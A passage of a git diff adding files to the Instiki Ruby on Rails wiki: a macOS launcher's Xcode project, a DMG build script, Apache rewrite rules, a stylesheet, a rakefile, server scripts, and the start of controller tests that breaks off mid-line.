1058C7A1FEA54F0111CA2CBB, + ); + isa = PBXGroup; + name = "Linked Frameworks"; + refType = 4; + sourceTree = ""; + }; + 1058C7A1FEA54F0111CA2CBB = { + fallbackIsa = PBXFileReference; + isa = PBXFrameworkReference; + lastKnownFileType = wrapper.framework; + name = Cocoa.framework; + path = /System/Library/Frameworks/Cocoa.framework; + refType = 0; + sourceTree = ""; + }; + 1058C7A2FEA54F0111CA2CBB = { + children = ( + 29B97325FDCFA39411CA2CEA, + 29B97324FDCFA39411CA2CEA, + ); + isa = PBXGroup; + name = "Other Frameworks"; + refType = 4; + sourceTree = ""; + }; +//100 +//101 +//102 +//103 +//104 +//170 +//171 +//172 +//173 +//174 + 174B2765065CE31400ED6208 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = sourcecode.cpp.objcpp; + path = AppDelegate.mm; + refType = 4; + sourceTree = ""; + }; + 174B2766065CE31400ED6208 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = sourcecode.c.h; + path = AppDelegate.h; + refType = 4; + sourceTree = ""; + }; + 174B2767065CE31400ED6208 = { + fileRef = 174B2765065CE31400ED6208; + isa = PBXBuildFile; + settings = { + }; + }; + 174B2768065CE31400ED6208 = { + fileRef = 174B2766065CE31400ED6208; + isa = PBXBuildFile; + settings = { + }; + }; + 17BF6FD9067536EB003F37D6 = { + children = ( + 63B86D2F0673A5D300807E13, + 63B86D1A0673A5B200807E13, + 63B86D100673A58400807E13, + ); + isa = PBXGroup; + name = "Instiki Source"; + refType = 4; + sourceTree = ""; + }; + 17C1C5CD065D3A3C003526E7 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = text.html; + path = Credits.html; + refType = 4; + sourceTree = ""; + }; + 17C1C5CE065D3A3C003526E7 = { + fileRef = 17C1C5CD065D3A3C003526E7; + isa = PBXBuildFile; + settings = { + }; + }; + 17C1C6E2065D458D003526E7 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = text.script.sh; + path = MakeDMG.sh; + refType = 4; + sourceTree = ""; + }; + 17F6C11106629574007E0BD0 = { + isa = PBXFileReference; + lastKnownFileType = "compiled.mach-o.executable"; + name = ruby; + path = /usr/local/bin/ruby; + refType = 0; + sourceTree = ""; + }; + 17F6C11206629574007E0BD0 = { + fileRef = 17F6C11106629574007E0BD0; + isa = PBXBuildFile; + settings = { + }; + }; + 17F6C113066295D0007E0BD0 = { + isa = PBXFileReference; + lastKnownFileType = folder; + name = ruby; + path = /usr/local/lib/ruby; + refType = 0; + sourceTree = ""; + }; + 17F6C3A90662960F007E0BD0 = { + buildActionMask = 2147483647; + dstPath = lib; + dstSubfolderSpec = 7; + files = ( + 17F6C3CF066296B5007E0BD0, + ); + isa = PBXCopyFilesBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 17F6C3CF066296B5007E0BD0 = { + fileRef = 17F6C113066295D0007E0BD0; + isa = PBXBuildFile; + settings = { + }; + }; + 17F6C3D2066296E4007E0BD0 = { + children = ( + 17F6C11106629574007E0BD0, + 17F6C113066295D0007E0BD0, + ); + isa = PBXGroup; + name = "Ruby 1.8"; + refType = 4; + sourceTree = ""; + }; +//170 +//171 +//172 +//173 +//174 +//190 +//191 +//192 +//193 +//194 + 19C28FACFE9D520D11CA2CBB = { + children = ( + 8D1107320486CEB800E47090, + ); + isa = PBXGroup; + name = Products; + refType = 4; + sourceTree = ""; + }; +//190 +//191 +//192 +//193 +//194 +//290 +//291 +//292 +//293 +//294 + 29B97313FDCFA39411CA2CEA = { + buildSettings = { + }; + buildStyles = ( + 4A9504CCFFE6A4B311CA0CBA, + 4A9504CDFFE6A4B311CA0CBA, + ); + hasScannedForEncodings = 1; + isa = PBXProject; + mainGroup = 29B97314FDCFA39411CA2CEA; + projectDirPath = ""; + targets = ( + 8D1107260486CEB800E47090, + ); + }; + 29B97314FDCFA39411CA2CEA = { + children = ( + 080E96DDFE201D6D7F000001, + 29B97315FDCFA39411CA2CEA, + 29B97317FDCFA39411CA2CEA, + 29B97323FDCFA39411CA2CEA, + 19C28FACFE9D520D11CA2CBB, + 17C1C6E2065D458D003526E7, + ); + isa = PBXGroup; + name = Instiki; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97315FDCFA39411CA2CEA = { + children = ( + 32CA4F630368D1EE00C91783, + 29B97316FDCFA39411CA2CEA, + ); + isa = PBXGroup; + name = "Other Sources"; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97316FDCFA39411CA2CEA = { + fileEncoding = 30; + isa = PBXFileReference; + lastKnownFileType = sourcecode.cpp.objcpp; + path = main.mm; + refType = 4; + sourceTree = ""; + }; + 29B97317FDCFA39411CA2CEA = { + children = ( + 17BF6FD9067536EB003F37D6, + 17F6C3D2066296E4007E0BD0, + 8D1107310486CEB800E47090, + 089C165CFE840E0CC02AAC07, + 29B97318FDCFA39411CA2CEA, + 17C1C5CD065D3A3C003526E7, + ); + isa = PBXGroup; + name = Resources; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97318FDCFA39411CA2CEA = { + children = ( + 29B97319FDCFA39411CA2CEA, + ); + isa = PBXVariantGroup; + name = MainMenu.nib; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97319FDCFA39411CA2CEA = { + isa = PBXFileReference; + lastKnownFileType = wrapper.nib; + name = English; + path = English.lproj/MainMenu.nib; + refType = 4; + sourceTree = ""; + }; + 29B97323FDCFA39411CA2CEA = { + children = ( + 1058C7A0FEA54F0111CA2CBB, + 1058C7A2FEA54F0111CA2CBB, + ); + isa = PBXGroup; + name = Frameworks; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97324FDCFA39411CA2CEA = { + fallbackIsa = PBXFileReference; + isa = PBXFrameworkReference; + lastKnownFileType = wrapper.framework; + name = AppKit.framework; + path = /System/Library/Frameworks/AppKit.framework; + refType = 0; + sourceTree = ""; + }; + 29B97325FDCFA39411CA2CEA = { + fallbackIsa = PBXFileReference; + isa = PBXFrameworkReference; + lastKnownFileType = wrapper.framework; + name = Foundation.framework; + path = /System/Library/Frameworks/Foundation.framework; + refType = 0; + sourceTree = ""; + }; +//290 +//291 +//292 +//293 +//294 +//320 +//321 +//322 +//323 +//324 + 32CA4F630368D1EE00C91783 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = sourcecode.c.h; + path = Instiki_Prefix.pch; + refType = 4; + sourceTree = ""; + }; +//320 +//321 +//322 +//323 +//324 +//4A0 +//4A1 +//4A2 +//4A3 +//4A4 + 4A9504CCFFE6A4B311CA0CBA = { + buildRules = ( + ); + buildSettings = { + COPY_PHASE_STRIP = NO; + DEBUGGING_SYMBOLS = YES; + GCC_DYNAMIC_NO_PIC = NO; + GCC_ENABLE_FIX_AND_CONTINUE = YES; + GCC_GENERATE_DEBUGGING_SYMBOLS = YES; + GCC_OPTIMIZATION_LEVEL = 0; + OPTIMIZATION_CFLAGS = "-O0"; + ZERO_LINK = YES; + }; + isa = PBXBuildStyle; + name = Development; + }; + 4A9504CDFFE6A4B311CA0CBA = { + buildRules = ( + ); + buildSettings = { + COPY_PHASE_STRIP = YES; + GCC_ENABLE_FIX_AND_CONTINUE = NO; + ZERO_LINK = NO; + }; + isa = PBXBuildStyle; + name = Deployment; + }; +//4A0 +//4A1 +//4A2 +//4A3 +//4A4 +//630 +//631 +//632 +//633 +//634 + 63B86D0F0673A53100807E13 = { + buildActionMask = 2147483647; + dstPath = rb_src; + dstSubfolderSpec = 7; + files = ( + 63B86D310673A5D600807E13, + 63B86D1C0673A5B600807E13, + 63B86D120673A59100807E13, + ); + isa = PBXCopyFilesBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 63B86D100673A58400807E13 = { + explicitFileType = folder; + fileEncoding = 4; + isa = PBXFileReference; + name = app; + path = /Users/duff/Source/rb_src/instiki/app; + refType = 0; + sourceTree = ""; + }; + 63B86D120673A59100807E13 = { + fileRef = 63B86D100673A58400807E13; + isa = PBXBuildFile; + settings = { + }; + }; + 63B86D1A0673A5B200807E13 = { + explicitFileType = folder; + fileEncoding = 4; + isa = PBXFileReference; + name = libraries; + path = /Users/duff/Source/rb_src/instiki/libraries; + refType = 0; + sourceTree = ""; + }; + 63B86D1C0673A5B600807E13 = { + fileRef = 63B86D1A0673A5B200807E13; + isa = PBXBuildFile; + settings = { + }; + }; + 63B86D2F0673A5D300807E13 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = text.script.ruby; + name = instiki.rb; + path = /Users/duff/Source/rb_src/instiki/instiki.rb; + refType = 0; + sourceTree = ""; + }; + 63B86D310673A5D600807E13 = { + fileRef = 63B86D2F0673A5D300807E13; + isa = PBXBuildFile; + settings = { + }; + }; +//630 +//631 +//632 +//633 +//634 +//8D0 +//8D1 +//8D2 +//8D3 +//8D4 + 8D1107260486CEB800E47090 = { + buildPhases = ( + 8D1107270486CEB800E47090, + 8D1107290486CEB800E47090, + 8D11072C0486CEB800E47090, + 8D11072E0486CEB800E47090, + 17F6C3A90662960F007E0BD0, + 63B86D0F0673A53100807E13, + ); + buildRules = ( + ); + buildSettings = { + FRAMEWORK_SEARCH_PATHS = ""; + GCC_ENABLE_TRIGRAPHS = NO; + GCC_GENERATE_DEBUGGING_SYMBOLS = NO; + GCC_PRECOMPILE_PREFIX_HEADER = YES; + GCC_PREFIX_HEADER = Instiki_Prefix.pch; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = NO; + GCC_WARN_FOUR_CHARACTER_CONSTANTS = NO; + GCC_WARN_UNKNOWN_PRAGMAS = NO; + HEADER_SEARCH_PATHS = ""; + INFOPLIST_FILE = Info.plist; + INSTALL_PATH = "$(HOME)/Applications"; + LIBRARY_SEARCH_PATHS = ""; + OTHER_CFLAGS = ""; + OTHER_LDFLAGS = ""; + PRODUCT_NAME = Instiki; + SECTORDER_FLAGS = ""; + WARNING_CFLAGS = "-Wmost -Wno-four-char-constants -Wno-unknown-pragmas"; + WRAPPER_EXTENSION = app; + }; + dependencies = ( + ); + isa = PBXNativeTarget; + name = Instiki; + productInstallPath = "$(HOME)/Applications"; + productName = Instiki; + productReference = 8D1107320486CEB800E47090; + productType = "com.apple.product-type.application"; + }; + 8D1107270486CEB800E47090 = { + buildActionMask = 2147483647; + files = ( + 8D1107280486CEB800E47090, + 174B2768065CE31400ED6208, + ); + isa = PBXHeadersBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 8D1107280486CEB800E47090 = { + fileRef = 32CA4F630368D1EE00C91783; + isa = PBXBuildFile; + settings = { + }; + }; + 8D1107290486CEB800E47090 = { + buildActionMask = 2147483647; + files = ( + 8D11072A0486CEB800E47090, + 8D11072B0486CEB800E47090, + 17C1C5CE065D3A3C003526E7, + 17F6C11206629574007E0BD0, + ); + isa = PBXResourcesBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 8D11072A0486CEB800E47090 = { + fileRef = 29B97318FDCFA39411CA2CEA; + isa = PBXBuildFile; + settings = { + }; + }; + 8D11072B0486CEB800E47090 = { + fileRef = 089C165CFE840E0CC02AAC07; + isa = PBXBuildFile; + settings = { + }; + }; + 8D11072C0486CEB800E47090 = { + buildActionMask = 2147483647; + files = ( + 8D11072D0486CEB800E47090, + 174B2767065CE31400ED6208, + ); + isa = PBXSourcesBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 8D11072D0486CEB800E47090 = { + fileRef = 29B97316FDCFA39411CA2CEA; + isa = PBXBuildFile; + settings = { + ATTRIBUTES = ( + ); + }; + }; + 8D11072E0486CEB800E47090 = { + buildActionMask = 2147483647; + files = ( + 8D11072F0486CEB800E47090, + ); + isa = PBXFrameworksBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 8D11072F0486CEB800E47090 = { + fileRef = 1058C7A1FEA54F0111CA2CBB; + isa = PBXBuildFile; + settings = { + }; + }; + 8D1107310486CEB800E47090 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = text.plist; + path = Info.plist; + refType = 4; + sourceTree = ""; + }; + 8D1107320486CEB800E47090 = { + explicitFileType = wrapper.application; + includeInIndex = 0; + isa = PBXFileReference; + path = Instiki.app; + refType = 3; + sourceTree = BUILT_PRODUCTS_DIR; + }; + }; + rootObject = 29B97313FDCFA39411CA2CEA; +} diff --git a/natives/osx/desktop_launcher/Instiki_Prefix.pch b/natives/osx/desktop_launcher/Instiki_Prefix.pch new file mode 100755 index 00000000..93c4f875 --- /dev/null +++ b/natives/osx/desktop_launcher/Instiki_Prefix.pch @@ -0,0 +1,7 @@ +// +// Prefix header for all source files of the 'Instiki' target in the 'Instiki' project +// + +#ifdef __OBJC__ + #import +#endif diff --git a/natives/osx/desktop_launcher/MakeDMG.sh b/natives/osx/desktop_launcher/MakeDMG.sh new file mode 100755 index 00000000..2050cdce --- /dev/null +++ b/natives/osx/desktop_launcher/MakeDMG.sh @@ -0,0 +1,9 @@ +#!/bin/sh + +hdiutil create -size 12m -fs HFS+ -volname Instiki -ov /tmp/Instiki_12MB.dmg +hdiutil mount /tmp/Instiki_12MB.dmg +# strip ~/ruby/instiki/natives/osx/build/Instiki.app/Contents/MacOS/Instiki +ditto ~/ruby/instiki/natives/osx/desktop_launcher/build/Instiki.app /Volumes/Instiki/Instiki.app +hdiutil unmount /Volumes/Instiki +hdiutil convert -format UDZO -o /tmp/Instiki.dmg /tmp/Instiki_12MB.dmg +hdiutil internet-enable -yes /tmp/Instiki.dmg diff --git a/natives/osx/desktop_launcher/main.mm b/natives/osx/desktop_launcher/main.mm new file mode 100755 index 00000000..586ba12c --- /dev/null +++ b/natives/osx/desktop_launcher/main.mm @@ -0,0 +1,14 @@ +// +// main.mm +// Instiki +// +// Created by Allan Odgaard on Thu May 20 2004. +// Copyright (c) 2004 MacroMates. All rights reserved. +// + +#import + +int main (int argc, char const* argv[]) +{ + return NSApplicationMain(argc, argv); +} diff --git a/natives/osx/desktop_launcher/version.plist b/natives/osx/desktop_launcher/version.plist new file mode 100755 index 00000000..5b7d8625 --- /dev/null +++ b/natives/osx/desktop_launcher/version.plist @@ -0,0 +1,16 @@ + + + + + BuildVersion + 17 + CFBundleShortVersionString + 0.1 + CFBundleVersion + 0.1 + ProjectName + NibPBTemplates + SourceVersion + 1150000 + + diff --git a/public/.htaccess b/public/.htaccess new file mode 100644 index 00000000..da3851df --- /dev/null +++ b/public/.htaccess @@ -0,0 +1,29 @@ +# General Apache options +AddHandler fastcgi-script .fcgi +AddHandler cgi-script .cgi +Options +FollowSymLinks +ExecCGI + +# Make sure that mod_ruby.c has been added and loaded as a module with Apache +RewriteEngine On + +# Change extension from .cgi to .fcgi to switch to FCGI and to .rb to switch to mod_ruby +RewriteBase /dispatch.cgi + +# Enable this rewrite rule to point to the controller/action that should serve root. +# RewriteRule ^$ /wiki/ [R] + +# Add missing slash +RewriteRule ^([-_a-zA-Z0-9]+)$ /$1/ [R] + +# Default rewriting rules. +RewriteRule ^([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)/([0-9]+)$ ?controller=$1&action=$2&id=$3 [QSA,L] +RewriteRule ^([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)$ ?controller=$1&action=$2 [QSA,L] +RewriteRule ^([-_a-zA-Z0-9]+)/$ ?controller=$1&action=index [QSA,L] + +RewriteRule ^([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)/([0-9]+)$ ?module=$1&controller=$2&action=$3&id=$4 [QSA,L] +RewriteRule ^([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)$ ?module=$1&controller=$2&action=$3 [QSA,L] +RewriteRule ^([-_a-zA-Z0-9]+)/([-_a-zA-Z0-9]+)/$ ?module=$1&controller=$2&action=index [QSA,L] + +# You can also point these error messages to a controller/action +ErrorDocument 500 /500.html +ErrorDocument 404 /404.html diff --git a/public/404.html b/public/404.html new file mode 100644 index 00000000..481ce4ff --- /dev/null +++ b/public/404.html @@ -0,0 +1,6 @@ + + +

      File not found

      +

      HTTP 404

      + + diff --git a/public/500.html b/public/500.html new file mode 100644 index 00000000..36d64f7a --- /dev/null +++ b/public/500.html @@ -0,0 +1,6 @@ + + +

      Application error

      +

      HTTP 500

      + + \ No newline at end of file diff --git a/public/dispatch.rb b/public/dispatch.rb new file mode 100755 index 00000000..beaa9771 --- /dev/null +++ b/public/dispatch.rb @@ -0,0 +1,11 @@ +#!/usr/bin/ruby + +require File.dirname(__FILE__) + '/../config/environment' unless defined?(RAILS_ROOT) + +# If you're using RubyGems and mod_ruby, this require should be changed to an absolute path one, +# like: "/usr/local/lib/ruby/gems/1.8/gems/rails-0.8.0/lib/dispatcher" +# -- otherwise performance is severely impaired +require 'dispatcher' + +ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } +Dispatcher.dispatch diff --git a/public/images/.images_go_here b/public/images/.images_go_here new file mode 100755 index 00000000..e69de29b diff --git a/public/javascripts/.java_script_files_go_here b/public/javascripts/.java_script_files_go_here new file mode 100755 index 00000000..e69de29b diff --git a/public/stylesheets/.CSS_stylesheets_go_here b/public/stylesheets/.CSS_stylesheets_go_here new file mode 100755 index 00000000..e69de29b diff --git a/public/stylesheets/instiki.css b/public/stylesheets/instiki.css new file mode 100755 index 00000000..067ed43e --- /dev/null +++ b/public/stylesheets/instiki.css @@ -0,0 +1,199 @@ +#Container { + float: none; + margin: 0 auto; + text-align: center; +} + +#Content { + margin: 0; + padding: 5px; + text-align: left; + border-top: none; + float: left; +} + +body { background-color: #fff; color: #333; } + +body, p, ol, ul, td { + font-family: verdana, arial, helvetica, sans-serif; + font-size: 13px; + line-height: 18px; +} + +a { color: #000; } + +.newWikiWord { background-color: #eee; } +.newWikiWord a:hover { background-color: white; } + +a:visited { color: #666; } +a:hover { color: #fff; background-color:#000; } + +/* a.edit:link, a.edit:visited { color: #DA0006; } */ + + +h1, h2, h3 { color: #333; font-family: georgia, verdana; } +h1 { font-size: 28px } +h2 { font-size: 19px } +h3 { font-size: 16px } + +h1#pageName { + margin: 5px 0px 0px 0px; + padding: 0px 0px 0px 0px; + line-height: 28px; +} + +h1#pageName small { + color: grey; + line-height: 10px; + font-size: 10px; + padding: 0px; +} + +a.nav, a.nav:link, a.nav:visited { color: #000; } +a.nav:hover { color: #fff; background-color:#000; } + +li { margin-bottom: 7px } + +.navigation { + margin-top: 5px; + font-size : 12px; + color: #999; +} + +.navigation a:hover { color: #fff; background-color:#000; } + +.navigation a { + font-size: 11px; + color: black; + font-weight: bold; +} + +.navigation small a { + font-weight: normal; + font-size: 11px; +} + +.navOn{ + font-size: 11px; + color: grey; + font-weight: bold; + text-decoration: none; +} + +.help { + font-family: verdana, arial, helvetica, sans-serif; + font-size: 11px; +} + +.inputBox { + font-family: verdana, arial, helvetica, sans-serif; + font-size: 11px; + background-color: #eee; + padding: 5px; + margin-bottom: 20px; +} + +blockquote { + display: block; + margin: 0px 0px 20px 0px; + padding: 0px 30px; + font-size:11px; + line-height:17px; + font-style: italic; +} + +pre { + background-color: #eee; + padding: 10px; + font-size: 11px; +} + +ol.setup { + font-size: 19px; + font-family: georgia, verdana; + padding-left: 25px; +} + +ol.setup li { + margin-bottom: 20px +} + +.byline { + font-size: 10px; + font-style: italic; + margin-bottom: 10px; + color: #999; +} + +.references { + font-size: 10px; +} + +.diffdel { + background: pink; +} + +.diffins { + background: lightgreen; +} + +#TextileHelp table { + margin-bottom: 0; +} + +#TextileHelp table+h3 { + margin-top: 11px; +} + +#TextileHelp table td { + font-size: 11px; + padding: 3px; + vertical-align: top; + border-top: 1px dotted #ccc; +} + +#TextileHelp table td.arrow { + padding-right: 5px; + padding-left: 10px; + color: #999; +} + +#TextileHelp table td.label { + font-weight: bold; + white-space: nowrap; + font-size: 10px; + padding-right: 15px; + color: #000; +} + +#TextileHelp h3 { + font-size: 11px; + font-weight: bold; + font-weight: normal; + margin: 0 0 5px 0; + padding: 5px 0 0 0; +} + +#TextileHelp p { + font-size: 10px; +} + +.rightHandSide { + float: right; + width: 147px; + margin-left: 10px; + padding-left: 20px; + border-left: 1px dotted #ccc; +} + +.rightHandSide p { + font-size: 10px; +} + +.newsList { + margin-top: 20px; +} + +.newsList p { + margin-bottom:30px +} \ No newline at end of file diff --git a/rakefile.rb b/rakefile.rb new file mode 100755 index 00000000..72743186 --- /dev/null +++ b/rakefile.rb @@ -0,0 +1,79 @@ +begin + require 'rubygems' + require 'rake/gempackagetask' +rescue Exception + nil +end + +ENV['RAILS_ENV'] = 'test' +require 'config/environment' + +require 'rake' +require 'rake/clean' +require 'rake/testtask' +require 'rake/rdoctask' +require 'rake/packagetask' +require 'rake/contrib/rubyforgepublisher' +require 'code_statistics' + +desc 'Default Task' +task :default => :test + +CLEAN << 'pkg' << 'storage/2500' << 'doc' << 'html' + +# Run the unit tests +Rake::TestTask.new { |t| + t.libs << 'libraries' + t.libs << 'app/models' + t.libs << 'vendor/bluecloth-1.0.0/lib' + t.libs << 'vendor/madeleine-0.7.1/lib' + t.libs << 'vendor/redcloth-2.0.11/lib' + t.libs << 'vendor/rubyzip-0.5.6' + t.pattern = 'test/**/*_test.rb' + t.verbose = true +} + +if defined? GemPackageTask + gemspec = eval(File.read('instiki.gemspec')) + Rake::GemPackageTask.new(gemspec) do |p| + p.gem_spec = gemspec + p.need_tar = true + p.need_zip = true + end + +# PKG_VERSION is defined in instiki.gemspec + Rake::PackageTask.new("instiki", gemspec.version) do |p| + p.need_tar = true + p.need_zip = true + # the list of glob expressions for files comes from instiki.gemspec + p.package_files.include($__instiki_source_patterns) + end + +# Create a task to build the RDOC documentation tree. + rd = Rake::RDocTask.new("rdoc") { |rdoc| + rdoc.rdoc_dir = 'html' + rdoc.title = 'Instiki -- The Wiki' + rdoc.options << '--line-numbers --inline-source --main README' + rdoc.rdoc_files.include(gemspec.files) + rdoc.main = 'README' + } +else + puts "Warning: without Rubygems packaging tasks are not available" +end + +desc "Publish RDOC to RubyForge" +task :rubyforge => [:rdoc, :package] do + Rake::RubyForgePublisher.new('instiki', 'alexeyv').upload +end + +desc "Report code statistics (KLOCs, etc)" +task :stats do + CodeStatistics.new( + ["Helpers", "app/helpers"], + ["Controllers", "app/controllers"], + ["Functionals", "test/functional"], + ["Models", "app/models"], + ["Units", "test/unit"], + ["Libraries", "libraries"] + ).to_s +end diff --git a/script/breakpointer b/script/breakpointer new file mode 100755 index 00000000..9f17b113 --- /dev/null +++ b/script/breakpointer @@ -0,0 +1,35 @@ +#!/usr/local/bin/ruby + +RAILS_ROOT = File.expand_path(File.dirname(__FILE__) + '/..') + +# Model subdirectories. +ADDITIONAL_LOAD_PATHS = Dir["#{RAILS_ROOT}/app/models/[_a-z]*"] + +# Followed by the standard includes. +ADDITIONAL_LOAD_PATHS.concat %w( + app + app/models + app/controllers + app/helpers + config + libraries +).map { |dir| "#{File.expand_path(File.join(RAILS_ROOT, dir))}" } + +ADDITIONAL_LOAD_PATHS.concat %w( + vendor/bluecloth-1.0.0/lib + vendor/madeleine-0.7.1/lib + vendor/redcloth-2.0.11/lib + vendor/rubyzip-0.5.6 + vendor/actionpack/lib + vendor/activesupport/lib + vendor/railties/lib +).map { |dir| + "#{File.expand_path(File.join(RAILS_ROOT, dir))}" +}.delete_if { |dir| + puts dir + not File.exist?(dir) } + +# Prepend to $LOAD_PATH +ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } + +require 'breakpoint_client' diff --git a/script/server b/script/server new file mode 100755 index 00000000..9667730e --- /dev/null +++ b/script/server @@ -0,0 +1,83 @@ +#!/usr/bin/ruby + +require 'webrick' +require 'optparse' +require 'fileutils' + +pwd = File.expand_path(File.dirname(__FILE__) + "/..") + +OPTIONS = { + + # Overridable options + :port => 2500, + :ip => '127.0.0.1', + :environment => 'production', + :server_root => File.expand_path(File.dirname(__FILE__) + '/../public/'), + :server_type => WEBrick::SimpleServer, + :storage => "#{File.expand_path(FileUtils.pwd)}/storage", +} + +ARGV.options do |opts| + script_name = File.basename($0) + opts.banner = "Usage: ruby #{script_name} [options]" + + opts.separator '' + + opts.on('-p', '--port=port', Integer, + 'Runs Instiki on the specified port.', + 'Default: 2500') { |OPTIONS[:port]| } + opts.on('-b', '--binding=ip', String, + 'Binds Rails to the specified ip.', + 'Default: 127.0.0.1') { |OPTIONS[:ip]| } + opts.on('-i', '--index=controller', String, + 'Specifies an index controller that requests for root will go to (instead of congratulations screen).' + ) { |OPTIONS[:index_controller]| } + opts.on('-e', '--environment=name', String, + 'Specifies the environment to run this server under (test/development/production).', + 'Default: production') { |OPTIONS[:environment]| } + opts.on('-d', '--daemon', + 'Make Rails run as a Daemon (only works if fork is available -- meaning on *nix).' + ) { OPTIONS[:server_type] = WEBrick::Daemon } + opts.on('-s', '--simple', '--simple-server', + '[deprecated] Forces Instiki not to run as a Daemon if fork is available.', + 'Since version 0.10.0 this option is ignored.' + ) { puts "Warning: -s (--simple) option is deprecated. See instiki --help for details." } + opts.on('-t', '--storage=storage', String, + 'Makes Instiki use the specified directory for storage.', + 'Default: ./storage/[port]') { |OPTIONS[:storage]| } + opts.on('-v', '--verbose', + 'Enable debug-level logging' + ) { OPTIONS[:verbose] = true } + + opts.separator '' + + opts.on('-h', '--help', + 'Show this help message.') { puts opts; exit } + + opts.parse! +end + +ENV['RAILS_ENV'] = OPTIONS[:environment] +require File.expand_path(File.dirname(__FILE__) + '/../config/environment') + +if OPTIONS[:verbose] + ActionController::Base.logger.level = Logger::DEBUG +end + +OPTIONS[:index_controller] = 'wiki' +require 'webrick_server' + +if OPTIONS[:environment] == 'production' + storage_path = OPTIONS[:storage] + "/" + OPTIONS[:port].to_s +else + storage_path = OPTIONS[:storage] + "/" + OPTIONS[:environment] + "/" + OPTIONS[:port].to_s +end +FileUtils.mkdir_p(storage_path) + +puts "=> Starting Instiki on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}" +puts "=> Data files are stored in #{storage_path}" + +require 'application' +WikiService.storage_path = storage_path +ApplicationController.wiki = WikiService.instance +DispatchServlet.dispatch(OPTIONS) diff --git a/storage/.cvsignore b/storage/.cvsignore new file mode 100755 index 00000000..e90e33dc --- /dev/null +++ b/storage/.cvsignore @@ -0,0 +1,5 @@ +2500 +development +test +.cvsignore +*.zip \ No newline at end of file diff --git a/storage/madeleine_snaps_goes_here b/storage/madeleine_snaps_goes_here new file mode 100755 index 00000000..e69de29b diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb new file mode 100755 index 00000000..56998534 --- /dev/null +++ b/test/functional/wiki_controller_test.rb @@ -0,0 +1,587 @@ +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../test_helper' +require 'wiki_controller' +require 'rexml/document' + +# Raise errors beyond the default web-based presentation +class WikiController; def rescue_action(e) logger.error(e); raise e end; end + +class WikiControllerTest < Test::Unit::TestCase + + def setup + setup_test_wiki + setup_controller_test + end + + def tear_down + tear_down_wiki + end + + + def test_authenticate + @web.password = 'pswd' + + r = process('authenticate', 'web' => 'wiki1', 'password' => 'pswd') + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + assert_equal ['pswd'], r.cookies['web_address'] + end + + def test_authenticate + @web.password = 'pswd' + + r = process('authenticate', 'web' => 'wiki1', 'password' => 'wrong password') + assert_redirected_to :action => 'login' + assert_nil r.cookies['web_address'] + end + + + def test_authors + setup_wiki_with_three_pages + @wiki.write_page('wiki1', 'BreakSortingOrder', + "This page breaks the accidentally correct sorting order of authors", + Time.now, Author.new('BreakingTheOrder', '127.0.0.2')) + + r = process('authors', 'web' => 'wiki1') + + assert_success + assert_equal ['AnAuthor', 'BreakingTheOrder', 'Guest', 'TreeHugger'], + r.template_objects['authors'] + end + + + def test_cancel_edit + setup_wiki_with_three_pages + @oak.lock(Time.now, 'Locky') + assert @oak.locked?(Time.now) + + r = process('cancel_edit', 'web' => 'wiki1', 'id' => 'Oak') + + assert_redirected_to :action => 'show', :id => 'Oak' + assert !@oak.locked?(Time.now) + end + + + def test_create_system + ApplicationController.wiki = WikiServiceWithNoPersistence.new + assert !@controller.wiki.setup? + + process('create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', + 'web_address' => 'my_wiki') + + assert_redirected_to :action => 'index' + assert @controller.wiki.setup? + assert_equal 'a_password', @controller.wiki.system[:password] + assert_equal 1, @controller.wiki.webs.size + new_web = @controller.wiki.webs['my_wiki'] + assert_equal 'My Wiki', new_web.name + assert_equal 'my_wiki', new_web.address + end + + def test_create_system_already_setup + wiki_before = @controller.wiki + assert @controller.wiki.setup? + + process 'create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', + 'web_address' => 'my_wiki' + + assert_redirected_to :action => 'index' + assert_equal wiki_before, @controller.wiki + # and no new wikis shuld be created either + assert_equal 1, @controller.wiki.webs.size + end + + + def test_create_web + @wiki.system[:password] = 'pswd' + + process 'create_web', 'system_password' => 'pswd', 'name' => 'Wiki Two', 'address' => 'wiki2' + + assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' + wiki2 = @wiki.webs['wiki2'] + assert wiki2 + assert_equal 'Wiki Two', wiki2.name + assert_equal 'wiki2', wiki2.address + end + + def test_create_web_default_password + @wiki.system[:password] = nil + + process 'create_web', 'system_password' => 'instiki', 'name' => 'Wiki Two', 'address' => 'wiki2' + + assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' + end + + def test_create_web_failed_authentication + @wiki.system[:password] = 'pswd' + + process 'create_web', 'system_password' => 'wrong', 'name' => 'Wiki Two', 'address' => 'wiki2' + + assert_redirected_to :web => nil, :action => 'index' + assert_nil 